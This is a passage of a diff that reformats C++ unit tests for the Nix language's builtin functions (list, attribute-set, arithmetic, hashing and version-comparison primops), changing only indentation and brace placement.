IsAttrsOfSize(1)); + auto key = v.attrs()->find(createSymbol("key")); + ASSERT_NE(key, nullptr); + ASSERT_THAT(*key->value, IsIntEq(123)); +} - TEST_F(PrimOpTest, mapAttrs) { - auto v = eval("builtins.mapAttrs (name: value: value * 10) { a = 1; b = 2; }"); - ASSERT_THAT(v, IsAttrsOfSize(2)); +TEST_F(PrimOpTest, intersectAttrs) +{ + auto v = eval("builtins.intersectAttrs { a = 1; b = 2; } { b = 3; c = 4; }"); + ASSERT_THAT(v, IsAttrsOfSize(1)); + auto b = v.attrs()->find(createSymbol("b")); + ASSERT_NE(b, nullptr); + ASSERT_THAT(*b->value, IsIntEq(3)); +} - auto a = v.attrs()->find(createSymbol("a")); - ASSERT_NE(a, nullptr); - ASSERT_THAT(*a->value, IsThunk()); - state.forceValue(*a->value, noPos); - ASSERT_THAT(*a->value, IsIntEq(10)); +TEST_F(PrimOpTest, catAttrs) +{ + auto v = eval("builtins.catAttrs \"a\" [{a = 1;} {b = 0;} {a = 2;}]"); + ASSERT_THAT(v, IsListOfSize(2)); + ASSERT_THAT(*v.listElems()[0], IsIntEq(1)); + ASSERT_THAT(*v.listElems()[1], IsIntEq(2)); +} - auto b = v.attrs()->find(createSymbol("b")); - ASSERT_NE(b, nullptr); - ASSERT_THAT(*b->value, IsThunk()); - state.forceValue(*b->value, noPos); - ASSERT_THAT(*b->value, IsIntEq(20)); - } +TEST_F(PrimOpTest, functionArgs) +{ + auto v = eval("builtins.functionArgs ({ x, y ? 123}: 1)"); + ASSERT_THAT(v, IsAttrsOfSize(2)); - TEST_F(PrimOpTest, isList) { - auto v = eval("builtins.isList []"); - ASSERT_THAT(v, IsTrue()); - } + auto x = v.attrs()->find(createSymbol("x")); + ASSERT_NE(x, nullptr); + ASSERT_THAT(*x->value, IsFalse()); - TEST_F(PrimOpTest, isListFalse) { - auto v = eval("builtins.isList null"); - ASSERT_THAT(v, IsFalse()); - } + auto y = v.attrs()->find(createSymbol("y")); + ASSERT_NE(y, nullptr); + ASSERT_THAT(*y->value, IsTrue()); +} - TEST_F(PrimOpTest, elemtAt) { - auto v = eval("builtins.elemAt [0 1 2 3] 3"); - ASSERT_THAT(v, IsIntEq(3)); - } +TEST_F(PrimOpTest, mapAttrs) +{ + auto v = eval("builtins.mapAttrs (name: value: value * 10) { a = 1; b = 2; }"); + ASSERT_THAT(v, IsAttrsOfSize(2)); - TEST_F(PrimOpTest, elemtAtOutOfBounds) { - ASSERT_THROW(eval("builtins.elemAt [0 1 2 3] 5"), Error); - } + auto a = v.attrs()->find(createSymbol("a")); + ASSERT_NE(a, nullptr); + ASSERT_THAT(*a->value, IsThunk()); + state.forceValue(*a->value, noPos); + ASSERT_THAT(*a->value, IsIntEq(10)); - TEST_F(PrimOpTest, head) { - auto v = eval("builtins.head [ 3 2 1 0 ]"); - ASSERT_THAT(v, IsIntEq(3)); - } + auto b = v.attrs()->find(createSymbol("b")); + ASSERT_NE(b, nullptr); + ASSERT_THAT(*b->value, IsThunk()); + state.forceValue(*b->value, noPos); + ASSERT_THAT(*b->value, IsIntEq(20)); +} - TEST_F(PrimOpTest, headEmpty) { - ASSERT_THROW(eval("builtins.head [ ]"), Error); - } +TEST_F(PrimOpTest, isList) +{ + auto v = eval("builtins.isList []"); + ASSERT_THAT(v, IsTrue()); +} - TEST_F(PrimOpTest, headWrongType) { - ASSERT_THROW(eval("builtins.head { }"), Error); - } +TEST_F(PrimOpTest, isListFalse) +{ + auto v = eval("builtins.isList null"); + ASSERT_THAT(v, IsFalse()); +} - TEST_F(PrimOpTest, tail) { - auto v = eval("builtins.tail [ 3 2 1 0 ]"); - ASSERT_THAT(v, IsListOfSize(3)); - for (const auto [n, elem] : enumerate(v.listItems())) - ASSERT_THAT(*elem, IsIntEq(2 - static_cast(n))); - } +TEST_F(PrimOpTest, elemtAt) +{ + auto v = eval("builtins.elemAt [0 1 2 3] 3"); + ASSERT_THAT(v, IsIntEq(3)); +} - TEST_F(PrimOpTest, tailEmpty) { - ASSERT_THROW(eval("builtins.tail []"), Error); - } +TEST_F(PrimOpTest, elemtAtOutOfBounds) +{ + ASSERT_THROW(eval("builtins.elemAt [0 1 2 3] 5"), Error); +} - TEST_F(PrimOpTest, map) { - auto v = eval("map (x: \"foo\" + x) [ \"bar\" \"bla\" \"abc\" ]"); - ASSERT_THAT(v, IsListOfSize(3)); - auto elem = v.listElems()[0]; +TEST_F(PrimOpTest, head) +{ + auto v = eval("builtins.head [ 3 2 1 0 ]"); + ASSERT_THAT(v, IsIntEq(3)); +} + +TEST_F(PrimOpTest, headEmpty) +{ + ASSERT_THROW(eval("builtins.head [ ]"), Error); +} + +TEST_F(PrimOpTest, headWrongType) +{ + ASSERT_THROW(eval("builtins.head { }"), Error); +} + +TEST_F(PrimOpTest, tail) +{ + auto v = eval("builtins.tail [ 3 2 1 0 ]"); + ASSERT_THAT(v, IsListOfSize(3)); + for (const auto [n, elem] : enumerate(v.listItems())) + ASSERT_THAT(*elem, IsIntEq(2 - static_cast(n))); +} + +TEST_F(PrimOpTest, tailEmpty) +{ + ASSERT_THROW(eval("builtins.tail []"), Error); +} + +TEST_F(PrimOpTest, map) +{ + auto v = eval("map (x: \"foo\" + x) [ \"bar\" \"bla\" \"abc\" ]"); + ASSERT_THAT(v, IsListOfSize(3)); + auto elem = v.listElems()[0]; + ASSERT_THAT(*elem, IsThunk()); + state.forceValue(*elem, noPos); + ASSERT_THAT(*elem, IsStringEq("foobar")); + + elem = v.listElems()[1]; + ASSERT_THAT(*elem, IsThunk()); + state.forceValue(*elem, noPos); + ASSERT_THAT(*elem, IsStringEq("foobla")); + + elem = v.listElems()[2]; + ASSERT_THAT(*elem, IsThunk()); + state.forceValue(*elem, noPos); + ASSERT_THAT(*elem, IsStringEq("fooabc")); +} + +TEST_F(PrimOpTest, filter) +{ + auto v = eval("builtins.filter (x: x == 2) [ 3 2 3 2 3 2 ]"); + ASSERT_THAT(v, IsListOfSize(3)); + for (const auto elem : v.listItems()) + ASSERT_THAT(*elem, IsIntEq(2)); +} + +TEST_F(PrimOpTest, elemTrue) +{ + auto v = eval("builtins.elem 3 [ 1 2 3 4 5 ]"); + ASSERT_THAT(v, IsTrue()); +} + +TEST_F(PrimOpTest, elemFalse) +{ + auto v = eval("builtins.elem 6 [ 1 2 3 4 5 ]"); + ASSERT_THAT(v, IsFalse()); +} + +TEST_F(PrimOpTest, concatLists) +{ + auto v = eval("builtins.concatLists [[1 2] [3 4]]"); + ASSERT_THAT(v, IsListOfSize(4)); + for (const auto [i, elem] : enumerate(v.listItems())) + ASSERT_THAT(*elem, IsIntEq(static_cast(i) + 1)); +} + +TEST_F(PrimOpTest, length) +{ + auto v = eval("builtins.length [ 1 2 3 ]"); + ASSERT_THAT(v, IsIntEq(3)); +} + +TEST_F(PrimOpTest, foldStrict) +{ + auto v = eval("builtins.foldl' (a: b: a + b) 0 [1 2 3]"); + ASSERT_THAT(v, IsIntEq(6)); +} + +TEST_F(PrimOpTest, anyTrue) +{ + auto v = eval("builtins.any (x: x == 2) [ 1 2 3 ]"); + ASSERT_THAT(v, IsTrue()); +} + +TEST_F(PrimOpTest, anyFalse) +{ + auto v = eval("builtins.any (x: x == 5) [ 1 2 3 ]"); + ASSERT_THAT(v, IsFalse()); +} + +TEST_F(PrimOpTest, allTrue) +{ + auto v = eval("builtins.all (x: x > 0) [ 1 2 3 ]"); + ASSERT_THAT(v, IsTrue()); +} + +TEST_F(PrimOpTest, allFalse) +{ + auto v = eval("builtins.all (x: x <= 0) [ 1 2 3 ]"); + ASSERT_THAT(v, IsFalse()); +} + +TEST_F(PrimOpTest, genList) +{ + auto v = eval("builtins.genList (x: x + 1) 3"); + ASSERT_EQ(v.type(), nList); + ASSERT_EQ(v.listSize(), 3u); + for (const auto [i, elem] : enumerate(v.listItems())) { ASSERT_THAT(*elem, IsThunk()); state.forceValue(*elem, noPos); - ASSERT_THAT(*elem, IsStringEq("foobar")); - - elem = v.listElems()[1]; - ASSERT_THAT(*elem, IsThunk()); - state.forceValue(*elem, noPos); - ASSERT_THAT(*elem, IsStringEq("foobla")); - - elem = v.listElems()[2]; - ASSERT_THAT(*elem, IsThunk()); - state.forceValue(*elem, noPos); - ASSERT_THAT(*elem, IsStringEq("fooabc")); + ASSERT_THAT(*elem, IsIntEq(static_cast(i) + 1)); } +} - TEST_F(PrimOpTest, filter) { - auto v = eval("builtins.filter (x: x == 2) [ 3 2 3 2 3 2 ]"); - ASSERT_THAT(v, IsListOfSize(3)); - for (const auto elem : v.listItems()) - ASSERT_THAT(*elem, IsIntEq(2)); - } +TEST_F(PrimOpTest, sortLessThan) +{ + auto v = eval("builtins.sort builtins.lessThan [ 483 249 526 147 42 77 ]"); + ASSERT_EQ(v.type(), nList); + ASSERT_EQ(v.listSize(), 6u); - TEST_F(PrimOpTest, elemTrue) { - auto v = eval("builtins.elem 3 [ 1 2 3 4 5 ]"); - ASSERT_THAT(v, IsTrue()); - } + const std::vector numbers = {42, 77, 147, 249, 483, 526}; + for (const auto [n, elem] : enumerate(v.listItems())) + ASSERT_THAT(*elem, IsIntEq(numbers[n])); +} - TEST_F(PrimOpTest, elemFalse) { - auto v = eval("builtins.elem 6 [ 1 2 3 4 5 ]"); - ASSERT_THAT(v, IsFalse()); - } +TEST_F(PrimOpTest, partition) +{ + auto v = eval("builtins.partition (x: x > 10) [1 23 9 3 42]"); + ASSERT_THAT(v, IsAttrsOfSize(2)); - TEST_F(PrimOpTest, concatLists) { - auto v = eval("builtins.concatLists [[1 2] [3 4]]"); - ASSERT_THAT(v, IsListOfSize(4)); - for (const auto [i, elem] : enumerate(v.listItems())) - ASSERT_THAT(*elem, IsIntEq(static_cast(i)+1)); - } + auto right = v.attrs()->get(createSymbol("right")); + ASSERT_NE(right, nullptr); + ASSERT_THAT(*right->value, IsListOfSize(2)); + ASSERT_THAT(*right->value->listElems()[0], IsIntEq(23)); + ASSERT_THAT(*right->value->listElems()[1], IsIntEq(42)); - TEST_F(PrimOpTest, length) { - auto v = eval("builtins.length [ 1 2 3 ]"); - ASSERT_THAT(v, IsIntEq(3)); - } + auto wrong = v.attrs()->get(createSymbol("wrong")); + ASSERT_NE(wrong, nullptr); + ASSERT_EQ(wrong->value->type(), nList); + ASSERT_EQ(wrong->value->listSize(), 3u); + ASSERT_THAT(*wrong->value, IsListOfSize(3)); + ASSERT_THAT(*wrong->value->listElems()[0], IsIntEq(1)); + ASSERT_THAT(*wrong->value->listElems()[1], IsIntEq(9)); + ASSERT_THAT(*wrong->value->listElems()[2], IsIntEq(3)); +} - TEST_F(PrimOpTest, foldStrict) { - auto v = eval("builtins.foldl' (a: b: a + b) 0 [1 2 3]"); - ASSERT_THAT(v, IsIntEq(6)); - } +TEST_F(PrimOpTest, concatMap) +{ + auto v = eval("builtins.concatMap (x: x ++ [0]) [ [1 2] [3 4] ]"); + ASSERT_EQ(v.type(), nList); + ASSERT_EQ(v.listSize(), 6u); - TEST_F(PrimOpTest, anyTrue) { - auto v = eval("builtins.any (x: x == 2) [ 1 2 3 ]"); - ASSERT_THAT(v, IsTrue()); - } + const std::vector numbers = {1, 2, 0, 3, 4, 0}; + for (const auto [n, elem] : enumerate(v.listItems())) + ASSERT_THAT(*elem, IsIntEq(numbers[n])); +} - TEST_F(PrimOpTest, anyFalse) { - auto v = eval("builtins.any (x: x == 5) [ 1 2 3 ]"); - ASSERT_THAT(v, IsFalse()); - } +TEST_F(PrimOpTest, addInt) +{ + auto v = eval("builtins.add 3 5"); + ASSERT_THAT(v, IsIntEq(8)); +} - TEST_F(PrimOpTest, allTrue) { - auto v = eval("builtins.all (x: x > 0) [ 1 2 3 ]"); - ASSERT_THAT(v, IsTrue()); - } +TEST_F(PrimOpTest, addFloat) +{ + auto v = eval("builtins.add 3.0 5.0"); + ASSERT_THAT(v, IsFloatEq(8.0)); +} - TEST_F(PrimOpTest, allFalse) { - auto v = eval("builtins.all (x: x <= 0) [ 1 2 3 ]"); - ASSERT_THAT(v, IsFalse()); - } +TEST_F(PrimOpTest, addFloatToInt) +{ + auto v = eval("builtins.add 3.0 5"); + ASSERT_THAT(v, IsFloatEq(8.0)); - TEST_F(PrimOpTest, genList) { - auto v = eval("builtins.genList (x: x + 1) 3"); - ASSERT_EQ(v.type(), nList); - ASSERT_EQ(v.listSize(), 3u); - for (const auto [i, elem] : enumerate(v.listItems())) { - ASSERT_THAT(*elem, IsThunk()); - state.forceValue(*elem, noPos); - ASSERT_THAT(*elem, IsIntEq(static_cast(i)+1)); - } - } + v = eval("builtins.add 3 5.0"); + ASSERT_THAT(v, IsFloatEq(8.0)); +} - TEST_F(PrimOpTest, sortLessThan) { - auto v = eval("builtins.sort builtins.lessThan [ 483 249 526 147 42 77 ]"); - ASSERT_EQ(v.type(), nList); - ASSERT_EQ(v.listSize(), 6u); +TEST_F(PrimOpTest, subInt) +{ + auto v = eval("builtins.sub 5 2"); + ASSERT_THAT(v, IsIntEq(3)); +} - const std::vector numbers = { 42, 77, 147, 249, 483, 526 }; - for (const auto [n, elem] : enumerate(v.listItems())) - ASSERT_THAT(*elem, IsIntEq(numbers[n])); - } +TEST_F(PrimOpTest, subFloat) +{ + auto v = eval("builtins.sub 5.0 2.0"); + ASSERT_THAT(v, IsFloatEq(3.0)); +} - TEST_F(PrimOpTest, partition) { - auto v = eval("builtins.partition (x: x > 10) [1 23 9 3 42]"); - ASSERT_THAT(v, IsAttrsOfSize(2)); +TEST_F(PrimOpTest, subFloatFromInt) +{ + auto v = eval("builtins.sub 5.0 2"); + ASSERT_THAT(v, IsFloatEq(3.0)); - auto right = v.attrs()->get(createSymbol("right")); - ASSERT_NE(right, nullptr); - ASSERT_THAT(*right->value, IsListOfSize(2)); - ASSERT_THAT(*right->value->listElems()[0], IsIntEq(23)); - ASSERT_THAT(*right->value->listElems()[1], IsIntEq(42)); + v = eval("builtins.sub 4 2.0"); + ASSERT_THAT(v, IsFloatEq(2.0)); +} - auto wrong = v.attrs()->get(createSymbol("wrong")); - ASSERT_NE(wrong, nullptr); - ASSERT_EQ(wrong->value->type(), nList); - ASSERT_EQ(wrong->value->listSize(), 3u); - ASSERT_THAT(*wrong->value, IsListOfSize(3)); - ASSERT_THAT(*wrong->value->listElems()[0], IsIntEq(1)); - ASSERT_THAT(*wrong->value->listElems()[1], IsIntEq(9)); - ASSERT_THAT(*wrong->value->listElems()[2], IsIntEq(3)); - } +TEST_F(PrimOpTest, mulInt) +{ + auto v = eval("builtins.mul 3 5"); + ASSERT_THAT(v, IsIntEq(15)); +} - TEST_F(PrimOpTest, concatMap) { - auto v = eval("builtins.concatMap (x: x ++ [0]) [ [1 2] [3 4] ]"); - ASSERT_EQ(v.type(), nList); - ASSERT_EQ(v.listSize(), 6u); +TEST_F(PrimOpTest, mulFloat) +{ + auto v = eval("builtins.mul 3.0 5.0"); + ASSERT_THAT(v, IsFloatEq(15.0)); +} - const std::vector numbers = { 1, 2, 0, 3, 4, 0 }; - for (const auto [n, elem] : enumerate(v.listItems())) - ASSERT_THAT(*elem, IsIntEq(numbers[n])); - } +TEST_F(PrimOpTest, mulFloatMixed) +{ + auto v = eval("builtins.mul 3 5.0"); + ASSERT_THAT(v, IsFloatEq(15.0)); - TEST_F(PrimOpTest, addInt) { - auto v = eval("builtins.add 3 5"); - ASSERT_THAT(v, IsIntEq(8)); - } + v = eval("builtins.mul 2.0 5"); + ASSERT_THAT(v, IsFloatEq(10.0)); +} - TEST_F(PrimOpTest, addFloat) { - auto v = eval("builtins.add 3.0 5.0"); - ASSERT_THAT(v, IsFloatEq(8.0)); - } +TEST_F(PrimOpTest, divInt) +{ + auto v = eval("builtins.div 5 (-1)"); + ASSERT_THAT(v, IsIntEq(-5)); +} - TEST_F(PrimOpTest, addFloatToInt) { - auto v = eval("builtins.add 3.0 5"); - ASSERT_THAT(v, IsFloatEq(8.0)); +TEST_F(PrimOpTest, divIntZero) +{ + ASSERT_THROW(eval("builtins.div 5 0"), EvalError); +} - v = eval("builtins.add 3 5.0"); - ASSERT_THAT(v, IsFloatEq(8.0)); - } +TEST_F(PrimOpTest, divFloat) +{ + auto v = eval("builtins.div 5.0 (-1)"); + ASSERT_THAT(v, IsFloatEq(-5.0)); +} - TEST_F(PrimOpTest, subInt) { - auto v = eval("builtins.sub 5 2"); - ASSERT_THAT(v, IsIntEq(3)); - } +TEST_F(PrimOpTest, divFloatZero) +{ + ASSERT_THROW(eval("builtins.div 5.0 0.0"), EvalError); +} - TEST_F(PrimOpTest, subFloat) { - auto v = eval("builtins.sub 5.0 2.0"); - ASSERT_THAT(v, IsFloatEq(3.0)); - } +TEST_F(PrimOpTest, bitOr) +{ + auto v = eval("builtins.bitOr 1 2"); + ASSERT_THAT(v, IsIntEq(3)); +} - TEST_F(PrimOpTest, subFloatFromInt) { - auto v = eval("builtins.sub 5.0 2"); - ASSERT_THAT(v, IsFloatEq(3.0)); +TEST_F(PrimOpTest, bitXor) +{ + auto v = eval("builtins.bitXor 3 2"); + ASSERT_THAT(v, IsIntEq(1)); +} - v = eval("builtins.sub 4 2.0"); - ASSERT_THAT(v, IsFloatEq(2.0)); - } +TEST_F(PrimOpTest, lessThanFalse) +{ + auto v = eval("builtins.lessThan 3 1"); + ASSERT_THAT(v, IsFalse()); +} - TEST_F(PrimOpTest, mulInt) { - auto v = eval("builtins.mul 3 5"); - ASSERT_THAT(v, IsIntEq(15)); - } +TEST_F(PrimOpTest, lessThanTrue) +{ + auto v = eval("builtins.lessThan 1 3"); + ASSERT_THAT(v, IsTrue()); +} - TEST_F(PrimOpTest, mulFloat) { - auto v = eval("builtins.mul 3.0 5.0"); - ASSERT_THAT(v, IsFloatEq(15.0)); - } +TEST_F(PrimOpTest, toStringAttrsThrows) +{ + ASSERT_THROW(eval("builtins.toString {}"), EvalError); +} - TEST_F(PrimOpTest, mulFloatMixed) { - auto v = eval("builtins.mul 3 5.0"); - ASSERT_THAT(v, IsFloatEq(15.0)); +TEST_F(PrimOpTest, toStringLambdaThrows) +{ + ASSERT_THROW(eval("builtins.toString (x: x)"), EvalError); +} - v = eval("builtins.mul 2.0 5"); - ASSERT_THAT(v, IsFloatEq(10.0)); - } +class ToStringPrimOpTest : public PrimOpTest, + public testing::WithParamInterface> +{}; - TEST_F(PrimOpTest, divInt) { - auto v = eval("builtins.div 5 (-1)"); - ASSERT_THAT(v, IsIntEq(-5)); - } - - TEST_F(PrimOpTest, divIntZero) { - ASSERT_THROW(eval("builtins.div 5 0"), EvalError); - } - - TEST_F(PrimOpTest, divFloat) { - auto v = eval("builtins.div 5.0 (-1)"); - ASSERT_THAT(v, IsFloatEq(-5.0)); - } - - TEST_F(PrimOpTest, divFloatZero) { - ASSERT_THROW(eval("builtins.div 5.0 0.0"), EvalError); - } - - TEST_F(PrimOpTest, bitOr) { - auto v = eval("builtins.bitOr 1 2"); - ASSERT_THAT(v, IsIntEq(3)); - } - - TEST_F(PrimOpTest, bitXor) { - auto v = eval("builtins.bitXor 3 2"); - ASSERT_THAT(v, IsIntEq(1)); - } - - TEST_F(PrimOpTest, lessThanFalse) { - auto v = eval("builtins.lessThan 3 1"); - ASSERT_THAT(v, IsFalse()); - } - - TEST_F(PrimOpTest, lessThanTrue) { - auto v = eval("builtins.lessThan 1 3"); - ASSERT_THAT(v, IsTrue()); - } - - TEST_F(PrimOpTest, toStringAttrsThrows) { - ASSERT_THROW(eval("builtins.toString {}"), EvalError); - } - - TEST_F(PrimOpTest, toStringLambdaThrows) { - ASSERT_THROW(eval("builtins.toString (x: x)"), EvalError); - } - - class ToStringPrimOpTest : - public PrimOpTest, - public testing::WithParamInterface> - {}; - - TEST_P(ToStringPrimOpTest, toString) { - const auto [input, output] = GetParam(); - auto v = eval(input); - ASSERT_THAT(v, IsStringEq(output)); - } +TEST_P(ToStringPrimOpTest, toString) +{ + const auto [input, output] = GetParam(); + auto v = eval(input); + ASSERT_THAT(v, IsStringEq(output)); +} #define CASE(input, output) (std::make_tuple(std::string_view("builtins.toString " input), std::string_view(output))) - INSTANTIATE_TEST_SUITE_P( - toString, - ToStringPrimOpTest, - testing::Values( - CASE(R"("foo")", "foo"), - CASE(R"(1)", "1"), - CASE(R"([1 2 3])", "1 2 3"), - CASE(R"(.123)", "0.123000"), - CASE(R"(true)", "1"), - CASE(R"(false)", ""), - CASE(R"(null)", ""), - CASE(R"({ v = "bar"; __toString = self: self.v; })", "bar"), - CASE(R"({ v = "bar"; __toString = self: self.v; outPath = "foo"; })", "bar"), - CASE(R"({ outPath = "foo"; })", "foo"), - CASE(R"(./test)", "/test") - ) - ); +INSTANTIATE_TEST_SUITE_P( + toString, + ToStringPrimOpTest, + testing::Values( + CASE(R"("foo")", "foo"), + CASE(R"(1)", "1"), + CASE(R"([1 2 3])", "1 2 3"), + CASE(R"(.123)", "0.123000"), + CASE(R"(true)", "1"), + CASE(R"(false)", ""), + CASE(R"(null)", ""), + CASE(R"({ v = "bar"; __toString = self: self.v; })", "bar"), + CASE(R"({ v = "bar"; __toString = self: self.v; outPath = "foo"; })", "bar"), + CASE(R"({ outPath = "foo"; })", "foo"), + CASE(R"(./test)", "/test"))); #undef CASE - TEST_F(PrimOpTest, substring){ - auto v = eval("builtins.substring 0 3 \"nixos\""); - ASSERT_THAT(v, IsStringEq("nix")); - } +TEST_F(PrimOpTest, substring) +{ + auto v = eval("builtins.substring 0 3 \"nixos\""); + ASSERT_THAT(v, IsStringEq("nix")); +} - TEST_F(PrimOpTest, substringSmallerString){ - auto v = eval("builtins.substring 0 3 \"n\""); - ASSERT_THAT(v, IsStringEq("n")); - } +TEST_F(PrimOpTest, substringSmallerString) +{ + auto v = eval("builtins.substring 0 3 \"n\""); + ASSERT_THAT(v, IsStringEq("n")); +} - TEST_F(PrimOpTest, substringEmptyString){ - auto v = eval("builtins.substring 1 3 \"\""); - ASSERT_THAT(v, IsStringEq("")); - } +TEST_F(PrimOpTest, substringEmptyString) +{ + auto v = eval("builtins.substring 1 3 \"\""); + ASSERT_THAT(v, IsStringEq("")); +} - TEST_F(PrimOpTest, stringLength) { - auto v = eval("builtins.stringLength \"123\""); - ASSERT_THAT(v, IsIntEq(3)); - } - TEST_F(PrimOpTest, hashStringMd5) { - auto v = eval("builtins.hashString \"md5\" \"asdf\""); - ASSERT_THAT(v, IsStringEq("912ec803b2ce49e4a541068d495ab570")); - } +TEST_F(PrimOpTest, stringLength) +{ + auto v = eval("builtins.stringLength \"123\""); + ASSERT_THAT(v, IsIntEq(3)); +} +TEST_F(PrimOpTest, hashStringMd5) +{ + auto v = eval("builtins.hashString \"md5\" \"asdf\""); + ASSERT_THAT(v, IsStringEq("912ec803b2ce49e4a541068d495ab570")); +} - TEST_F(PrimOpTest, hashStringSha1) { - auto v = eval("builtins.hashString \"sha1\" \"asdf\""); - ASSERT_THAT(v, IsStringEq("3da541559918a808c2402bba5012f6c60b27661c")); - } +TEST_F(PrimOpTest, hashStringSha1) +{ + auto v = eval("builtins.hashString \"sha1\" \"asdf\""); + ASSERT_THAT(v, IsStringEq("3da541559918a808c2402bba5012f6c60b27661c")); +} - TEST_F(PrimOpTest, hashStringSha256) { - auto v = eval("builtins.hashString \"sha256\" \"asdf\""); - ASSERT_THAT(v, IsStringEq("f0e4c2f76c58916ec258f246851bea091d14d4247a2fc3e18694461b1816e13b")); - } +TEST_F(PrimOpTest, hashStringSha256) +{ + auto v = eval("builtins.hashString \"sha256\" \"asdf\""); + ASSERT_THAT(v, IsStringEq("f0e4c2f76c58916ec258f246851bea091d14d4247a2fc3e18694461b1816e13b")); +} - TEST_F(PrimOpTest, hashStringSha512) { - auto v = eval("builtins.hashString \"sha512\" \"asdf\""); - ASSERT_THAT(v, IsStringEq("401b09eab3c013d4ca54922bb802bec8fd5318192b0a75f201d8b3727429080fb337591abd3e44453b954555b7a0812e1081c39b740293f765eae731f5a65ed1")); - } +TEST_F(PrimOpTest, hashStringSha512) +{ + auto v = eval("builtins.hashString \"sha512\" \"asdf\""); + ASSERT_THAT( + v, + IsStringEq( + "401b09eab3c013d4ca54922bb802bec8fd5318192b0a75f201d8b3727429080fb337591abd3e44453b954555b7a0812e1081c39b740293f765eae731f5a65ed1")); +} - TEST_F(PrimOpTest, hashStringInvalidHashAlgorithm) { - ASSERT_THROW(eval("builtins.hashString \"foobar\" \"asdf\""), Error); - } +TEST_F(PrimOpTest, hashStringInvalidHashAlgorithm) +{ + ASSERT_THROW(eval("builtins.hashString \"foobar\" \"asdf\""), Error); +} - TEST_F(PrimOpTest, nixPath) { - auto v = eval("builtins.nixPath"); - ASSERT_EQ(v.type(), nList); - // We can't test much more as currently the EvalSettings are a global - // that we can't easily swap / replace - } +TEST_F(PrimOpTest, nixPath) +{ + auto v = eval("builtins.nixPath"); + ASSERT_EQ(v.type(), nList); + // We can't test much more as currently the EvalSettings are a global + // that we can't easily swap / replace +} - TEST_F(PrimOpTest, langVersion) { - auto v = eval("builtins.langVersion"); - ASSERT_EQ(v.type(), nInt); - } +TEST_F(PrimOpTest, langVersion) +{ + auto v = eval("builtins.langVersion"); + ASSERT_EQ(v.type(), nInt); +} - TEST_F(PrimOpTest, storeDir) { - auto v = eval("builtins.storeDir"); - ASSERT_THAT(v, IsStringEq(settings.nixStore)); - } +TEST_F(PrimOpTest, storeDir) +{ + auto v = eval("builtins.storeDir"); + ASSERT_THAT(v, IsStringEq(settings.nixStore)); +} - TEST_F(PrimOpTest, nixVersion) { - auto v = eval("builtins.nixVersion"); - ASSERT_THAT(v, IsStringEq(nixVersion)); - } +TEST_F(PrimOpTest, nixVersion) +{ + auto v = eval("builtins.nixVersion"); + ASSERT_THAT(v, IsStringEq(nixVersion)); +} - TEST_F(PrimOpTest, currentSystem) { - auto v = eval("builtins.currentSystem"); - ASSERT_THAT(v, IsStringEq(evalSettings.getCurrentSystem())); - } +TEST_F(PrimOpTest, currentSystem) +{ + auto v = eval("builtins.currentSystem"); + ASSERT_THAT(v, IsStringEq(evalSettings.getCurrentSystem())); +} - TEST_F(PrimOpTest, derivation) { - auto v = eval("derivation"); - ASSERT_EQ(v.type(), nFunction); - ASSERT_TRUE(v.isLambda()); - ASSERT_NE(v.payload.lambda.fun, nullptr); - ASSERT_TRUE(v.payload.lambda.fun->hasFormals()); - } +TEST_F(PrimOpTest, derivation) +{ + auto v = eval("derivation"); + ASSERT_EQ(v.type(), nFunction); + ASSERT_TRUE(v.isLambda()); + ASSERT_NE(v.payload.lambda.fun, nullptr); + ASSERT_TRUE(v.payload.lambda.fun->hasFormals()); +} - TEST_F(PrimOpTest, currentTime) { - auto v = eval("builtins.currentTime"); - ASSERT_EQ(v.type(), nInt); - ASSERT_TRUE(v.integer() > 0); - } +TEST_F(PrimOpTest, currentTime) +{ + auto v = eval("builtins.currentTime"); + ASSERT_EQ(v.type(), nInt); + ASSERT_TRUE(v.integer() > 0); +} - TEST_F(PrimOpTest, splitVersion) { - auto v = eval("builtins.splitVersion \"1.2.3git\""); - ASSERT_THAT(v, IsListOfSize(4)); +TEST_F(PrimOpTest, splitVersion) +{ + auto v = eval("builtins.splitVersion \"1.2.3git\""); + ASSERT_THAT(v, IsListOfSize(4)); - const std::vector strings = { "1", "2", "3", "git" }; - for (const auto [n, p] : enumerate(v.listItems())) - ASSERT_THAT(*p, IsStringEq(strings[n])); - } + const std::vector strings = {"1", "2", "3", "git"}; + for (const auto [n, p] : enumerate(v.listItems())) + ASSERT_THAT(*p, IsStringEq(strings[n])); +} - class CompareVersionsPrimOpTest : - public PrimOpTest, - public testing::WithParamInterface> - {}; +class CompareVersionsPrimOpTest : public PrimOpTest, + public testing::WithParamInterface> +{}; - TEST_P(CompareVersionsPrimOpTest, compareVersions) { - auto [expression, expectation] = GetParam(); - auto v = eval(expression); - ASSERT_THAT(v, IsIntEq(expectation)); - } +TEST_P(CompareVersionsPrimOpTest, compareVersions) +{ + auto [expression, expectation] = GetParam(); + auto v = eval(expression); + ASSERT_THAT(v, IsIntEq(expectation)); +} #define CASE(a, b, expected) (std::make_tuple("builtins.compareVersions \"" #a "\" \"" #b "\"", expected)) - INSTANTIATE_TEST_SUITE_P( - compareVersions, - CompareVersionsPrimOpTest, - testing::Values( - // The first two are weird cases. Intuition tells they should - // be the same but they aren't. - CASE(1.0, 1.0.0, -1), - CASE(1.0.0, 1.0, 1), - // the following are from the nix-env manual: - CASE(1.0, 2.3, -1), - CASE(2.1, 2.3, -1), - CASE(2.3, 2.3, 0), - CASE(2.5, 2.3, 1), - CASE(3.1, 2.3, 1), - CASE(2.3.1, 2.3, 1), - CASE(2.3.1, 2.3a, 1), - CASE(2.3pre1, 2.3, -1), - CASE(2.3pre3, 2.3pre12, -1), - CASE(2.3a, 2.3c, -1), - CASE(2.3pre1, 2.3c, -1), - CASE(2.3pre1, 2.3q, -1) - ) - ); +INSTANTIATE_TEST_SUITE_P( + compareVersions, + CompareVersionsPrimOpTest, + testing::Values( + // The first two are weird cases. Intuition tells they should + // be the same but they aren't. + CASE(1.0, 1.0.0, -1), + CASE(1.0.0, 1.0, 1), + // the following are from the nix-env manual: + CASE(1.0, 2.3, -1), + CASE(2.1, 2.3, -1), + CASE(2.3, 2.3, 0), + CASE(2.5, 2.3, 1), + CASE(3.1, 2.3, 1), + CASE(2.3.1, 2.3, 1), + CASE(2.3.1, 2.3a, 1), + CASE(2.3pre1, 2.3, -1), + CASE(2.3pre3, 2.3pre12, -1), + CASE(2.3a, 2.3c, -1), + CASE(2.3pre1, 2.3c, -1), + CASE(2.3pre1, 2.3q, -1))); #undef CASE - - class ParseDrvNamePrimOpTest : - public PrimOpTest, +class ParseDrvNamePrimOpTest + : public PrimOpTest, public testing::WithParamInterface> - {}; +{}; - 